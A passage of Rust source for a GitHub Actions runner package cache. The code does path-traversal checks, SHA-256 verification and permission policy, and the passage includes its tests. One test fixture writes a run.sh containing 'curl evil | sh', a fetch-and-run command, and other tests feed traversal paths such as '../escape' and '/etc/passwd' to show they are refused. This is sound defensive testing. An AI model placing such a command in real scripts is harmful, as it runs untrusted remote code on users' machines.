entry_destination.parent().unwrap_or(into).to_path_buf()
} else {
into.to_path_buf()
};
for component in target.components() {
match component {
Component::Normal(part) => resolved.push(part),
Component::CurDir => {}
Component::ParentDir => {
if !resolved.pop() {
return Err(unsafe_entry());
}
}
Component::RootDir | Component::Prefix(_) => return Err(unsafe_entry()),
}
}
if !is_inside(into, &resolved) {
return Err(unsafe_entry());
}
Ok(())
}
fn entry_destination(
root: &Path,
relative: &Path,
raw: &str,
) -> Result<Option<PathBuf>, PackageError> {
let resolved = resolve_inside(root, relative, raw)?;
if resolved == root {
return Ok(None);
}
Ok(Some(resolved))
}
fn intended_mode(is_directory: bool, published: Option<u32>) -> Option<u32> {
if is_directory {
return Some(policy_mode(published.unwrap_or(0o700) | 0o100));
}
published.map(policy_mode)
}
fn resolve_inside(root: &Path, relative: &Path, raw: &str) -> Result<PathBuf, PackageError> {
let unsafe_entry = || PackageError::UnsafeArchiveEntry {
entry: raw.to_string(),
};
if relative.is_absolute() {
return Err(unsafe_entry());
}
let mut resolved = root.to_path_buf();
for component in relative.components() {
match component {
Component::Normal(part) => resolved.push(part),
Component::CurDir => {}
Component::ParentDir | Component::RootDir | Component::Prefix(_) => {
return Err(unsafe_entry());
}
}
}
if !is_inside(root, &resolved) {
return Err(unsafe_entry());
}
Ok(resolved)
}
fn is_inside(root: &Path, candidate: &Path) -> bool {
let normalise = |path: &Path| -> Vec<std::ffi::OsString> {
path.components()
.filter_map(|component| match component {
Component::Normal(part) => Some(part.to_os_string()),
Component::RootDir => Some(std::ffi::OsString::from("/")),
Component::Prefix(prefix) => Some(prefix.as_os_str().to_os_string()),
Component::CurDir | Component::ParentDir => None,
})
.collect()
};
if candidate
.components()
.any(|c| matches!(c, Component::ParentDir))
{
return false;
}
let root = normalise(root);
let candidate = normalise(candidate);
candidate.len() >= root.len() && candidate[..root.len()] == root[..]
}
const fn policy_mode(published: u32) -> u32 {
if published & 0o111 == 0 { 0o600 } else { 0o700 }
}
fn apply_mode_policy(path: &Path, mode: Option<u32>) -> Result<(), PackageError> {
let Some(published) = mode else { return Ok(()) };
let mode = policy_mode(published);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt as _;
fs::set_permissions(path, fs::Permissions::from_mode(mode)).map_err(|source| {
PackageError::Io {
what: "set permissions on an extracted runner package file",
path: path.to_path_buf(),
source,
}
})
}
#[cfg(not(unix))]
{
let _ = (path, mode);
Ok(())
}
}
fn remove_file_if_present(path: &Path, what: &'static str) -> Result<(), PackageError> {
match fs::remove_file(path) {
Ok(()) => Ok(()),
Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
Err(source) => Err(PackageError::Io {
what,
path: path.to_path_buf(),
source,
}),
}
}
fn create_dir_all(path: &Path) -> Result<(), PackageError> {
fs::create_dir_all(path).map_err(|source| PackageError::Io {
what: "create a runner package cache directory",
path: path.to_path_buf(),
source,
})
}
fn write_json<T: Serialize>(path: &Path, value: &T) -> Result<(), PackageError> {
let encoded = serde_json::to_vec_pretty(value).map_err(|error| PackageError::Extract {
detail: format!("the package manifest could not be encoded: {error}"),
})?;
fs::write(path, encoded).map_err(|source| PackageError::Io {
what: "write a runner package cache file",
path: path.to_path_buf(),
source,
})
}
fn holder_of(path: &Path, version: &RunnerVersion) -> Result<Option<AttemptId>, PackageError> {
let unreadable = || PackageError::UnreadableLease {
path: path.to_path_buf(),
};
let uuid = path
.file_stem()
.and_then(|stem| stem.to_str())
.and_then(|stem| uuid::Uuid::parse_str(stem).ok())
.ok_or_else(unreadable)?;
let Some(lease) = read_lease(path)? else {
return Ok(None);
};
Ok((lease.version == *version).then(|| AttemptId::from_uuid(uuid)))
}
fn read_lease(path: &Path) -> Result<Option<Lease>, PackageError> {
let bytes = match fs::read(path) {
Ok(bytes) => bytes,
Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
Err(source) => {
return Err(PackageError::Io {
what: "read a runner package lease",
path: path.to_path_buf(),
source,
});
}
};
serde_json::from_slice(&bytes)
.map(Some)
.map_err(|_| PackageError::UnreadableLease {
path: path.to_path_buf(),
})
}
fn read_json<T: for<'de> Deserialize<'de>>(path: &Path) -> Result<Option<T>, PackageError> {
let bytes = match fs::read(path) {
Ok(bytes) => bytes,
Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
Err(source) => {
return Err(PackageError::Io {
what: "read a runner package cache file",
path: path.to_path_buf(),
source,
});
}
};
Ok(serde_json::from_slice(&bytes).ok())
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write as _;
use std::sync::atomic::{AtomicUsize, Ordering};
use runner_manager_domain::attempt::AttemptState;
use runner_manager_testkit::clock::FakeClock;
use runner_manager_testkit::fixtures;
use runner_manager_testkit::github as gh;
fn zip_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
let options = zip::write::SimpleFileOptions::default();
for (name, body) in entries {
writer
.start_file(*name, options)
.expect("start a zip entry");
writer
.write_all(body.as_bytes())
.expect("write a zip entry");
}
writer.finish().expect("finish the zip").into_inner()
}
fn zip_bytes_with_modes(entries: &[(&str, &str, Option<u32>)]) -> Vec<u8> {
let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
for (name, body, mode) in entries {
let mut options = zip::write::SimpleFileOptions::default();
if let Some(mode) = mode {
options = options.unix_permissions(*mode);
}
if name.ends_with('/') {
writer
.add_directory(name.trim_end_matches('/'), options)
.expect("start a zip directory");
} else {
writer
.start_file(*name, options)
.expect("start a zip entry");
writer
.write_all(body.as_bytes())
.expect("write a zip entry");
}
}
writer.finish().expect("finish the zip").into_inner()
}
fn tar_gz_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
let mut builder = tar::Builder::new(encoder);
for (name, body) in entries {
let mut header = tar::Header::new_gnu();
header.set_size(body.len() as u64);
header.set_mode(0o644);
header.set_cksum();
builder
.append_data(&mut header, name, body.as_bytes())
.expect("append a tar entry");
}
builder
.into_inner()
.expect("finish the tar")
.finish()
.expect("finish the gzip")
}
fn tar_gz_with_raw_name(name: &str, body: &str) -> Vec<u8> {
let mut header = tar::Header::new_gnu();
header.set_size(body.len() as u64);
header.set_mode(0o644);
header.set_entry_type(tar::EntryType::Regular);
{
let gnu = header.as_gnu_mut().expect("a GNU header");
let bytes = name.as_bytes();
assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
gnu.name[..bytes.len()].copy_from_slice(bytes);
}
header.set_cksum();
let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
let mut builder = tar::Builder::new(encoder);
builder
.append(&header, body.as_bytes())
.expect("append a raw tar entry");
builder
.into_inner()
.expect("finish the tar")
.finish()
.expect("finish the gzip")
}
fn tar_gz_special(
name: &str,
body: &str,
mode: u32,
kind: tar::EntryType,
link_target: Option<&str>,
) -> Vec<u8> {
let is_link = matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link);
let mut header = tar::Header::new_gnu();
header.set_size(if is_link { 0 } else { body.len() as u64 });
header.set_mode(mode);
header.set_entry_type(kind);
if let Some(target) = link_target {
header
.set_link_name_literal(target)
.expect("a raw link target");
}
{
let gnu = header.as_gnu_mut().expect("a GNU header");
let bytes = name.as_bytes();
assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
gnu.name[..bytes.len()].copy_from_slice(bytes);
}
header.set_cksum();
let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
let mut builder = tar::Builder::new(encoder);
let data: &[u8] = if is_link { &[] } else { body.as_bytes() };
builder
.append(&header, data)
.expect("append a raw tar entry");
builder
.into_inner()
.expect("finish the tar")
.finish()
.expect("finish the gzip")
}
fn first_entry_header(bytes: &[u8]) -> (u32, tar::EntryType, Option<PathBuf>) {
let mut archive = tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
bytes.to_vec(),
)));
let mut entries = archive.entries().expect("entries");
let entry = entries
.next()
.expect("one entry")
.expect("a readable entry");
let link = entry
.link_name()
.expect("a link name field")
.map(|path| path.into_owned());
let header = entry.header();
(header.mode().expect("a mode"), header.entry_type(), link)
}
fn package_entries() -> Vec<(&'static str, &'static str)> {
vec![
("run.sh", "#!/bin/sh\necho runner\n"),
("bin/Runner.Listener", "listener\n"),
]
}
fn hex_digest(bytes: &[u8]) -> String {
let mut hasher = Sha256::new();
hasher.update(bytes);
hex::encode(hasher.finalize())
}
fn published(
os: &str,
arch: &str,
version: &str,
extension: &str,
digest: Option<&str>,
) -> RunnerDownload {
let filename = format!("actions-runner-{os}-{arch}-{version}{extension}");
RunnerDownload {
os: os.to_string(),
architecture: arch.to_string(),
download_url: format!(
"https://github.com/actions/runner/releases/download/v{version}/{filename}"
),
filename,
sha256_checksum: digest.map(str::to_string),
}
}
#[derive(Debug, Clone)]
enum Answer {
Downloads(Vec<RunnerDownload>),
Rejected,
Unavailable,
}
#[derive(Debug)]
struct FakeCatalog {
answer: Mutex<Answer>,
calls: AtomicUsize,
}
impl FakeCatalog {
fn with(downloads: Vec<RunnerDownload>) -> Arc<Self> {
Self::answering(Answer::Downloads(downloads))
}
fn answering(answer: Answer) -> Arc<Self> {
Arc::new(Self {
answer: Mutex::new(answer),
calls: AtomicUsize::new(0),
})
}
fn publish(&self, downloads: Vec<RunnerDownload>) {
*self.answer.lock().unwrap() = Answer::Downloads(downloads);
}
fn calls(&self) -> usize {
self.calls.load(Ordering::SeqCst)
}
}
#[async_trait::async_trait]
impl DownloadCatalog for FakeCatalog {
async fn published(&self) -> Result<RunnerDownloads, PackageError> {
self.calls.fetch_add(1, Ordering::SeqCst);
let answer = self.answer.lock().unwrap().clone();
match answer {
Answer::Downloads(entries) => Ok(RunnerDownloads::new(entries)),
Answer::Rejected => Err(PackageError::VersionRejected {
version: None,
detail: Some("the runner version is no longer supported".to_string()),
}),
Answer::Unavailable => Err(PackageError::CatalogUnavailable {
detail: "502 Bad Gateway".to_string(),
}),
}
}
}
#[derive(Debug)]
struct FakeFetcher {
payload: Mutex<Vec<u8>>,
calls: Mutex<Vec<(String, PathBuf)>>,
wrote: Mutex<Vec<PathBuf>>,
fail: Mutex<bool>,
}
impl FakeFetcher {
fn with(payload: Vec<u8>) -> Arc<Self> {
Arc::new(Self {
payload: Mutex::new(payload),
calls: Mutex::new(Vec::new()),
wrote: Mutex::new(Vec::new()),
fail: Mutex::new(false),
})
}
fn serve(&self, payload: Vec<u8>) {
*self.payload.lock().unwrap() = payload;
}
fn calls(&self) -> Vec<(String, PathBuf)> {
self.calls.lock().unwrap().clone()
}
fn count(&self) -> usize {
self.calls.lock().unwrap().len()
}
fn wrote(&self) -> Vec<PathBuf> {
self.wrote.lock().unwrap().clone()
}
}
#[async_trait::async_trait]
impl PackageFetcher for FakeFetcher {
async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
self.calls
.lock()
.unwrap()
.push((url.to_string(), destination.to_path_buf()));
if *self.fail.lock().unwrap() {
return Err(PackageError::Download {
detail: "connection reset".to_string(),
});
}
let payload = self.payload.lock().unwrap().clone();
fs::write(destination, &payload).expect("the fake fetcher writes its payload");
assert!(
destination.is_file(),
"the fake fetcher must actually create the file, or every \
assertion about removing it is vacuous"
);
self.wrote.lock().unwrap().push(destination.to_path_buf());
Ok(payload.len() as u64)
}
}
struct Harness {
_dir: tempfile::TempDir,
paths: AppPaths,
catalog: Arc<FakeCatalog>,
fetcher: Arc<FakeFetcher>,
clock: Arc<FakeClock>,
}
impl Harness {
fn new(downloads: Vec<RunnerDownload>, payload: Vec<u8>) -> Self {
let dir = tempfile::tempdir().expect("a temporary root");
let paths = AppPaths::rooted_at(dir.path());
Self {
_dir: dir,
paths,
catalog: FakeCatalog::with(downloads),
fetcher: FakeFetcher::with(payload),
clock: Arc::new(FakeClock::default()),
}
}
fn with_catalog(mut self, catalog: Arc<FakeCatalog>) -> Self {
self.catalog = catalog;
self
}
fn cache(&self) -> PackageCache {
self.cache_for(Os::Linux, Arch::X64)
}
fn cache_for(&self, os: Os, arch: Arch) -> PackageCache {
PackageCache::new(
&self.paths,
os,
arch,
CachePorts {
catalog: self.catalog.clone(),
fetcher: self.fetcher.clone(),
backoff: Arc::new(NoBackoff),
clock: self.clock.clone(),
},
)
}
}
fn linux_fixture() -> (Harness, Vec<u8>, String) {
let payload = tar_gz_bytes(&package_entries());
let digest = hex_digest(&payload);
let downloads = vec![published(
"linux",
"x64",
"2.330.0",
".tar.gz",
Some(&digest),
)];
(Harness::new(downloads, payload.clone()), payload, digest)
}
fn all_paths(root: &Path) -> Vec<String> {
fn walk(base: &Path, dir: &Path, out: &mut Vec<String>) {
let Ok(entries) = fs::read_dir(dir) else {
return;
};
for entry in entries.flatten() {
let path = entry.path();
out.push(
path.strip_prefix(base)
.unwrap_or(&path)
.to_string_lossy()
.replace('\\', "/"),
);
if path.is_dir() {
walk(base, &path, out);
}
}
}
let mut out = Vec::new();
walk(root, root, &mut out);
out.sort();
out
}
fn version(raw: &str) -> RunnerVersion {
RunnerVersion::parse(raw).expect("a well-formed test version")
}
#[test]
fn a_version_is_two_to_four_runs_of_digits_and_nothing_else() {
for good in ["2.330.0", "2.9", "1.2.3.4", "0.0.0"] {
assert!(
RunnerVersion::parse(good).is_ok(),
"`{good}` should parse as a version"
);
}
for bad in [
"",
".",
"..",
"../..",
"2",
"2.330.0.1.2",
"a.b",
"2.330.x",
"2/330",
"2\\330",
"/2.330.0",
"C:2.330.0",
"2.330.0 ",
" 2.330.0",
"2..0",
"2.330.0/../..",
] {
assert!(
RunnerVersion::parse(bad).is_err(),
"`{bad}` must be refused: it becomes a directory name"
);
}
}
#[test]
fn anything_that_parses_as_a_version_is_a_single_safe_path_component() {
for candidate in [
"2.330.0",
"2.9",
"1.2.3.4",
"",
".",
"..",
"../..",
"2",
"a.b",
"2/330",
"2\\330",
"/2.330.0",
"C:2.330.0",
"2..0",
"2.330.0/../..",
] {
let Ok(parsed) = RunnerVersion::parse(candidate) else {
continue;
};
let joined = Path::new("root").join(parsed.as_str());
assert_eq!(
joined.components().count(),
2,
"`{candidate}` parsed but adds more than one path component"
);
assert!(
!joined
.components()
.any(|c| matches!(c, Component::ParentDir | Component::RootDir)),
"`{candidate}` parsed but introduces a traversal or a root"
);
}
}
#[test]
fn versions_order_numerically_not_lexically() {
assert!(version("2.9.0") < version("2.10.0"));
assert!(version("2.330.0") > version("2.329.9"));
}
#[test]
fn a_version_is_read_out_of_the_published_filename() {
assert_eq!(
RunnerVersion::from_filename("actions-runner-win-x64-2.330.0.zip").unwrap(),
version("2.330.0")
);
assert_eq!(
RunnerVersion::from_filename("actions-runner-linux-arm64-2.330.0.tar.gz").unwrap(),
version("2.330.0")
);
let fixture = gh::download("osx", "arm64");
assert_eq!(
RunnerVersion::from_filename(&fixture.filename).unwrap(),
version("2.330.0")
);
}
#[test]
fn an_archive_this_agent_cannot_extract_is_refused_by_name() {
for bad in [
"actions-runner-linux-x64-2.330.0.rar",
"actions-runner-linux-x64-2.330.0",
"actions-runner-linux-x64-2.330.0.tar.xz",
] {
let error = RunnerVersion::from_filename(bad).unwrap_err();
assert!(
matches!(error, PackageError::UnsupportedArchive { .. }),
"`{bad}` should be an unsupported archive, got {error:?}"
);
assert!(error.is_terminal());
}
}
#[test]
fn a_digest_is_sixty_four_hex_characters_normalised_to_lowercase() {
let upper = "A".repeat(64);
assert_eq!(Sha256Hex::parse(&upper).unwrap().as_str(), "a".repeat(64));
for bad in ["", "abc", &"g".repeat(64), &"a".repeat(63), &"a".repeat(65)] {
assert!(
Sha256Hex::parse(bad).is_err(),
"`{bad}` is not a SHA-256 digest"
);
}
}
#[test]
fn a_malformed_published_digest_is_a_refusal_not_a_comparison_that_never_matches() {
let error = Sha256Hex::parse("sha256:9f86d081884c7d65").unwrap_err();
assert!(matches!(error, PackageError::MalformedDigest { .. }));
assert!(error.is_terminal());
assert!(error.operator_action().is_some());
}
#[test]
fn containment_answers_for_paths_that_do_not_exist() {
let root = Path::new("/cache/packages");
assert!(is_inside(root, Path::new("/cache/packages")));
assert!(is_inside(root, Path::new("/cache/packages/2.330.0/bin/x")));
assert!(!is_inside(root, Path::new("/cache")));
assert!(!is_inside(root, Path::new("/cache/packages-other/x")));
assert!(!is_inside(root, Path::new("/elsewhere/2.330.0")));
assert!(!is_inside(root, Path::new("/cache/packages/../escape")));
}
#[test]
fn an_archive_entry_may_not_resolve_outside_the_directory_it_is_extracted_into() {
let root = Path::new("/cache/staging/root");
assert!(resolve_inside(root, Path::new("bin/x"), "bin/x").is_ok());
assert!(resolve_inside(root, Path::new("./bin/x"), "./bin/x").is_ok());
for escape in ["../escape", "../../escape", "a/../../escape", "/etc/passwd"] {
let error = resolve_inside(root, Path::new(escape), escape).unwrap_err();
assert!(
matches!(error, PackageError::UnsafeArchiveEntry { .. }),
"`{escape}` must be refused, got {error:?}"
);
}
}
#[tokio::test]
async fn the_entry_matching_this_host_is_the_one_downloaded() {
let payload = tar_gz_bytes(&package_entries());
let digest = hex_digest(&payload);
let harness = Harness::new(
vec![
published("win", "x64", "2.330.0", ".zip", Some(&digest)),
published("linux", "x64", "2.330.0", ".tar.gz", Some(&digest)),
published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
],
payload,
);
let cache = harness.cache_for(Os::Linux, Arch::X64);
let installed = cache.ensure_installed().await.expect("an install");
assert_eq!(installed.version(), &version("2.330.0"));
let calls = harness.fetcher.calls();
assert_eq!(calls.len(), 1);
assert!(
calls[0]
.0
.contains("actions-runner-linux-x64-2.330.0.tar.gz"),
"the linux/x64 package should have been fetched, not `{}`",
calls[0].0
);
}
#[tokio::test]
async fn each_documented_host_selects_its_own_published_package() {
for (os, arch, token_os, token_arch, extension) in [
(Os::Windows, Arch::X64, "win", "x64", ".zip"),
(Os::MacOs, Arch::Arm64, "osx", "arm64", ".tar.gz"),
(Os::Linux, Arch::Arm32, "linux", "arm", ".tar.gz"),
] {
let payload = if extension == ".zip" {
zip_bytes(&package_entries())
} else {
tar_gz_bytes(&package_entries())
};
let digest = hex_digest(&payload);
let harness = Harness::new(
vec![
published("win", "x64", "2.330.0", ".zip", Some(&digest)),
published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
published("linux", "arm", "2.330.0", ".tar.gz", Some(&digest)),
],
payload,
);
let cache = harness.cache_for(os, arch);
let installed = cache
.ensure_installed()
.await
.unwrap_or_else(|error| panic!("{os}/{arch} should install: {error}"));
let url = &harness.fetcher.calls()[0].0;
assert!(
url.contains(&format!("actions-runner-{token_os}-{token_arch}-")),
"{os}/{arch} fetched `{url}`"
);
assert!(installed.root().join("run.sh").is_file());
}
}
#[tokio::test]
async fn an_undocumented_host_is_refused_before_anything_is_requested() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache_for(Os::Windows, Arch::Arm32);
let error = cache.ensure_installed().await.unwrap_err();
assert!(matches!(error, PackageError::UnsupportedHost(_)));
assert!(error.is_terminal());
assert!(error.operator_action().is_some());
assert_eq!(
harness.catalog.calls(),
0,
"an unsupported pair must be refused before the catalog is consulted"
);
assert_eq!(
harness.fetcher.count(),
0,
"an unsupported pair must be refused before any download"
);
}
#[tokio::test]
async fn a_host_github_publishes_nothing_for_is_refused_rather_than_guessed() {
let payload = tar_gz_bytes(&package_entries());
let digest = hex_digest(&payload);
let harness = Harness::new(
vec![published("win", "x64", "2.330.0", ".zip", Some(&digest))],
payload,
);
let cache = harness.cache_for(Os::Linux, Arch::X64);
let error = cache.ensure_installed().await.unwrap_err();
assert!(matches!(error, PackageError::NoPackagePublished { .. }));
assert!(error.is_terminal());
assert_eq!(
harness.fetcher.count(),
0,
"no package published must never fall back to a hardcoded URL"
);
}
#[tokio::test]
async fn bytes_that_do_not_match_the_published_digest_are_never_extracted() {
let (harness, published_bytes, published_digest) = linux_fixture();
let substituted = tar_gz_bytes(&[("run.sh", "#!/bin/sh\ncurl evil | sh\n")]);
assert_ne!(
hex_digest(&substituted),
published_digest,
"the substituted archive must differ from the published one"
);
assert_ne!(substituted, published_bytes);
assert!(
tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
substituted.clone()
)))
.entries()
.map(|entries| entries.count() == 1)
.unwrap_or(false),
"the substituted archive must be well formed, or this test proves \
nothing about the checksum"
);
harness.fetcher.serve(substituted);
let cache = harness.cache().with_retry_budget(1);
let error = cache.ensure_installed().await.unwrap_err();
let inner = match &error {
PackageError::Exhausted { source, .. } => source.as_ref(),
other => other,
};
assert!(
matches!(inner, PackageError::ChecksumMismatch { .. }),
"expected a checksum mismatch, got {error:?}"
);
assert_eq!(
inner.failure_reason(),
Some(FailureReason::RunnerPackageUnverified)
);
assert!(cache.installed().unwrap().is_empty());
assert!(
!cache.root().join("2.330.0").exists(),
"a rejected package must leave no version directory behind; found {:?}",
all_paths(cache.root())
);
let leftovers = all_paths(cache.root());
assert!(
!leftovers.iter().any(|path| path.ends_with("run.sh")),
"nothing from the archive may have been unpacked; found {leftovers:?}"
);
}
#[tokio::test]
async fn the_unverified_download_is_removed_from_disk() {
let (harness, _, _) = linux_fixture();
harness
.fetcher
.serve(tar_gz_bytes(&[("run.sh", "substituted\n")]));
let cache = harness.cache().with_retry_budget(1);
let error = cache.ensure_installed().await.unwrap_err();
assert!(error.failure_reason().is_some());
let wrote = harness.fetcher.wrote();
assert_eq!(wrote.len(), 1, "the fetcher must have written exactly once");
assert!(
!wrote[0].exists(),
"the unverified download at {:?} must have been removed",
wrote[0]
);
let leftovers = all_paths(cache.root());
assert!(
!leftovers.iter().any(|path| path.ends_with(".archive")),
"no downloaded archive may survive a mismatch; found {leftovers:?}"
);
}
#[tokio::test]
async fn a_checksum_mismatch_is_retryable_and_clean_bytes_still_install() {
let (harness, good, _) = linux_fixture();
harness
.fetcher
.serve(tar_gz_bytes(&[("run.sh", "truncated\n")]));
let cache = harness.cache().with_retry_budget(3);
let error = cache.ensure_installed().await.unwrap_err();
assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
assert_eq!(
harness.fetcher.count(),
3,
"a mismatch is retryable, so the budget should have been spent"
);
harness.fetcher.serve(good);
let installed = cache.ensure_installed().await.expect("clean bytes install");
assert_eq!(installed.version(), &version("2.330.0"));
}
#[tokio::test]
async fn an_absent_published_checksum_refuses_to_install_and_names_the_remedy() {
let payload = tar_gz_bytes(&package_entries());
let without = gh::download_without_checksum("linux", "x64");
assert!(without.sha256_checksum().is_none());
let harness = Harness::new(vec![without], payload);
let cache = harness.cache();
let error = cache.ensure_installed().await.unwrap_err();
assert!(
matches!(
error,
PackageError::ChecksumAbsent {
published: PublishedChecksum::Absent,
..
}
),
"expected an absent checksum, got {error:?}"
);
assert!(error.is_terminal(), "failing closed is never retryable");
assert_eq!(
error.failure_reason(),
Some(FailureReason::RunnerPackageUnverified)
);
let action = error.operator_action().expect("a terminal error acts");
assert!(
action.contains("pin"),
"the remedy must name pinning, got `{action}`"
);
assert!(
error.to_string().contains("Pin the digest"),
"the message must name the remedy: `{error}`"
);
assert_eq!(
harness.fetcher.count(),
0,
"an unverifiable package must not be downloaded at all"
);
}
#[tokio::test]
async fn an_empty_published_checksum_is_reported_as_empty_rather_than_absent() {
let payload = tar_gz_bytes(&package_entries());
let harness = Harness::new(
vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(""))],
payload,
);
let error = harness.cache().ensure_installed().await.unwrap_err();
assert!(
matches!(
error,
PackageError::ChecksumAbsent {
published: PublishedChecksum::Empty,
..
}
),
"expected an empty checksum, got {error:?}"
);
assert!(error.to_string().contains("an empty sha256_checksum"));
}
#[tokio::test]
async fn an_operator_pinned_digest_installs_what_github_published_no_checksum_for() {
let payload = tar_gz_bytes(&package_entries());
let digest = hex_digest(&payload);
let harness = Harness::new(
vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
payload,
);
let cache = harness.cache().with_pins(
PinnedDigests::new()
.pin("2.330.0", &digest)
.expect("a well-formed pin"),
);
let installed = cache.ensure_installed().await.expect("a pinned install");
assert_eq!(installed.version(), &version("2.330.0"));
assert_eq!(installed.digest().as_str(), digest);
assert!(installed.root().join("run.sh").is_file());
}
#[tokio::test]
async fn a_pinned_digest_is_a_digest_to_check_not_a_check_to_skip() {
let payload = tar_gz_bytes(&package_entries());
let harness = Harness::new(
vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
payload,
);
let cache = harness.cache().with_retry_budget(1).with_pins(
PinnedDigests::new()
.pin("2.330.0", &"a".repeat(64))
.unwrap(),
);
let error = cache.ensure_installed().await.unwrap_err();
let inner = match &error {
PackageError::Exhausted { source, .. } => source.as_ref(),
other => other,
};
assert!(
matches!(inner, PackageError::ChecksumMismatch { .. }),
"a wrong pin must still refuse, got {error:?}"
);
assert!(cache.installed().unwrap().is_empty());
}
#[tokio::test]
async fn a_pin_for_a_different_version_does_not_unlock_this_one() {
let payload = tar_gz_bytes(&package_entries());
let digest = hex_digest(&payload);
let harness = Harness::new(
vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
payload,
);
let cache = harness
.cache()
.with_pins(PinnedDigests::new().pin("2.320.0", &digest).unwrap());
let error = cache.ensure_installed().await.unwrap_err();
assert!(matches!(error, PackageError::ChecksumAbsent { .. }));
assert_eq!(harness.fetcher.count(), 0);
}
#[tokio::test]
async fn a_malformed_published_checksum_refuses_and_says_it_was_malformed() {
let payload = tar_gz_bytes(&package_entries());
for bad in ["sha256:9f86d081884c7d65", &"a".repeat(63), "not a digest"] {
let harness = Harness::new(
vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(bad))],
payload.clone(),
);
let error = harness.cache().ensure_installed().await.unwrap_err();
assert!(
matches!(
error,
PackageError::ChecksumAbsent {
published: PublishedChecksum::Malformed,
..
}
),
"`{bad}` should be reported as malformed, got {error:?}"
);
assert!(error.is_terminal());
assert_eq!(
error.failure_reason(),
Some(FailureReason::RunnerPackageUnverified)
);
assert!(
error.to_string().contains("a malformed sha256_checksum"),
"the operator is owed the shape that actually arrived: `{error}`"
);
assert_eq!(harness.fetcher.count(), 0);
}
}
#[tokio::test]
async fn a_malformed_published_checksum_is_rescued_by_an_operator_pin() {
let payload = tar_gz_bytes(&package_entries());
let digest = hex_digest(&payload);
let harness = Harness::new(
vec![published(
"linux",
"x64",
"2.330.0",
".tar.gz",
Some("sha256:9f86d081884c7d65"),
)],
payload,
);
let cache = harness
.cache()
.with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
let installed = cache
.ensure_installed()
.await
.expect("a pin rescues a malformed published checksum");
assert_eq!(installed.digest().as_str(), digest);
assert!(installed.root().join("run.sh").is_file());
}
#[tokio::test]
async fn every_unusable_published_checksum_shape_names_the_same_workable_remedy() {
let payload = tar_gz_bytes(&package_entries());
let digest = hex_digest(&payload);
for (raw, expected) in [
(None, PublishedChecksum::Absent),
(Some(""), PublishedChecksum::Empty),
(Some("nonsense"), PublishedChecksum::Malformed),
] {
let downloads = vec![published("linux", "x64", "2.330.0", ".tar.gz", raw)];
let harness = Harness::new(downloads.clone(), payload.clone());
let error = harness.cache().ensure_installed().await.unwrap_err();
assert!(
matches!(
&error,
PackageError::ChecksumAbsent { published, .. } if *published == expected
),
"{expected:?}: got {error:?}"
);
assert!(error.operator_action().unwrap().contains("pin"));
let harness = Harness::new(downloads, payload.clone());
let cache = harness
.cache()
.with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
cache
.ensure_installed()
.await
.unwrap_or_else(|error| panic!("{expected:?} should be pinnable: {error}"));
}
}
#[tokio::test]
async fn a_second_install_of_the_same_version_rewrites_nothing() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache();
let first = cache.ensure_installed().await.expect("the first install");
assert_eq!(harness.fetcher.count(), 1);
assert_eq!(harness.catalog.calls(), 1);
harness
.clock
.advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
let second = cache.ensure_installed().await.expect("the second install");
assert_eq!(second.version(), first.version());
assert_eq!(second.root(), first.root());
assert_eq!(
harness.catalog.calls(),
2,
"the published version should have been re-checked"
);
assert_eq!(
harness.fetcher.count(),
1,
"a version already held must not be downloaded again"
);
}
#[test]
fn the_commit_rename_never_replaces_an_existing_entry() {
let dir = tempfile::tempdir().expect("a temporary root");
let existing = dir.path().join("2.330.0");
fs::create_dir_all(existing.join("bin")).unwrap();
fs::write(existing.join("run.sh"), b"the original").unwrap();
let replacement = dir.path().join("staging");
fs::create_dir_all(&replacement).unwrap();
fs::write(replacement.join("run.sh"), b"the replacement").unwrap();
let result = fs::rename(&replacement, &existing);
assert!(
result.is_err(),
"renaming onto a populated entry must fail, or entries are mutable"
);
assert_eq!(
fs::read_to_string(existing.join("run.sh")).unwrap(),
"the original",
"the existing entry's contents must survive"
);
assert!(
existing.join("bin").is_dir(),
"the existing entry's structure must survive"
);
}
#[tokio::test]
async fn a_stale_entry_that_is_still_the_published_version_is_reused() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache();
let first = cache.ensure_installed().await.expect("an install");
harness
.clock
.advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
let again = cache.ensure_installed().await.expect("the same entry");
assert!(
cache.is_stale(&first, harness.clock.now()),
"the entry really is past the deadline"
);
assert_eq!(again.version(), first.version());
assert_eq!(harness.fetcher.count(), 1);
assert_eq!(cache.installed().unwrap().len(), 1);
}
#[tokio::test]
async fn an_entry_is_complete_the_moment_it_exists() {
let (harness, _, _) = linux_fixture();
let cache = harness.cache();
let installed = cache.ensure_installed().await.expect("an install");
assert!(installed.root().join(MANIFEST_FILE).is_file());
let impostor = cache.root().join("9.9.9");
fs::create_dir_all(impostor.join("bin")).unwrap();
